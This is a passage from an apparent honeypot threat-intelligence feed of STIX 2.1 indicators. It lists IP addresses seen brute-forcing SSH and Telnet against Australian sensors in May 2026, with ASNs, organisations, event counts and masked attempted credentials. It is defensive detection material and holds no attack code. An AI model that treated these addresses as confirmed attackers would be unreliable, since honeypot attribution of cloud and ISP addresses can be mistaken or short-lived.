      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 34665. Organisation(s): Petersburg Internet Network ltd..",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 205275. Organisation(s): ROMARG SRL.",
      "id": "indicator--ac76a5bb-1f26-4b05-b0e8-0e88ba4e5c02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.41.38.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T20:15:10.000Z",
      "valid_until": "2026-06-03T20:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--dca47571-5a59-433c-a20e-eb8f3c6c0f07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.96.214.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--b3e2cb29-ba30-43eb-aafd-8697caea37e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.57.123.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--020a673b-6f33-412a-97fe-1ff8bec29d8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.148.30.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264092. Organisation(s): STA TELECOM LTDA.",
      "id": "indicator--2a9ee7cc-1de8-49eb-bee3-4db02ff1a464",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.208.148.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--36bf034d-8b73-40d7-b60e-65f1169c006b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.146.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262523. Organisation(s): HD2 TELECOMUNICACOES LTDA.",
      "id": "indicator--0ab7dc19-4b8d-4b7c-8dc9-1e268061cae9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.67.176.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 197152. Organisation(s): Comfort XXI Century Ltd..",
      "id": "indicator--95161588-49a4-4dd3-a6de-9cd9495bb80c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.120.89.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--ffd46519-b649-4060-8ca4-f18fd5d93006",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.120.254.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA.",
      "id": "indicator--db65da84-1277-4dca-9c45-a4f97477a295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.129.103.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37705. Organisation(s): TOPNET.",
      "id": "indicator--d4e1686e-b4d0-4dff-af78-5f3a56945e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.1.185.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262794. Organisation(s): VERO S.A. Usernames observed (masked): u****u, a***n, r**t, u**r, ***. Passwords observed (masked): 1****6, 1**1, 1**2, 1**4, 1******8.",
      "id": "indicator--c75e2103-802f-4000-84d7-e46ac4b1cc60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.76.120.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 28787. Organisation(s): Aztelekom LLC.",
      "id": "indicator--8bb91a03-6e36-4961-a7b3-3ffa37b4bd47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.154.16.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 205051. Organisation(s): Connetta Srl.",
      "id": "indicator--7d889f96-c3f3-497d-8e74-1919575e512f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.170.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 267807. Organisation(s): PSI TELECOMUNICACIONES DE COLOMBIA LTDA.",
      "id": "indicator--f6bd68b7-abc6-4072-86c2-5cc4ae3b646d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.173.70.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269516. Organisation(s): SOLUCAO TELECOMUNICACOES LTDA-ME.",
      "id": "indicator--18aa26f1-4dab-4b69-9ca4-d72e2109303f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.188.85.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--7d7c5de8-bd24-436e-a827-0bd97ae1e052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.248.178.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:15:10.000Z",
      "valid_until": "2026-06-03T21:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--c94d4f92-eeec-42cc-a4bf-f302b30a8329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.199.240.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--92e4b9dd-d84d-4243-85da-f6607e159c72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.50.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A.. Usernames observed (masked): r**t, d****n, u****u, 3**********4, a************n. Passwords observed (masked): 1****3, 1****5, 1***5, 1*****!, 1******8.",
      "id": "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53184. Organisation(s): VERO S.A.",
      "id": "indicator--54a97c20-202f-48ae-9f4a-b013242f9cac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.74.124.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 48678. Organisation(s): PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi.",
      "id": "indicator--64ac7674-0d3a-4272-9839-291922bc35a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.132.199.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--8febcfda-9f36-40b0-bd40-f6e0b24b4d27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.61.61.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--226c31a7-f7cb-49aa-9653-955cb6cc6d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--338fbaa2-9542-452a-b761-8185fdd115a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.6.8.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--9f569d39-7f16-43f8-ab98-f25071d52e95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.133.250.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 6871. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--0d17bc05-8214-434f-8041-beb4f1266c9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.189.233.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:15:10.000Z",
      "valid_until": "2026-06-03T22:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u****u, a***n, ***, t***1. Passwords observed (masked): **, ***, 1****3, 1**4, 1******b.",
      "id": "indicator--21e49f77-0106-4dd4-97c9-91e735994b21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.143.238.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--1b12d465-a87b-458e-9fe1-3e75c6b2eb39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.173.210.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b07c1486-39ce-4f9b-9891-544f36d3454f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--97a8cf4e-9d21-4297-b741-b8a86c46ddb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.68.118.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--22ce2054-61fb-4e30-8304-3f2e44631455",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.154.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53153. Organisation(s): CINTE Telecom Comercio e Servicos Ltda..",
      "id": "indicator--2b1e44b4-7fe5-4582-b153-a67574b1ac98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.61.99.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b6cad070-d43e-49a5-b615-646c2bdc79aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
      "created": "2026-05-02T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--86cb836d-14aa-42db-9d4d-c172eb82e1c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.206.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:15:11.000Z",
      "valid_until": "2026-06-03T23:15:08.000Z"
    },
    {
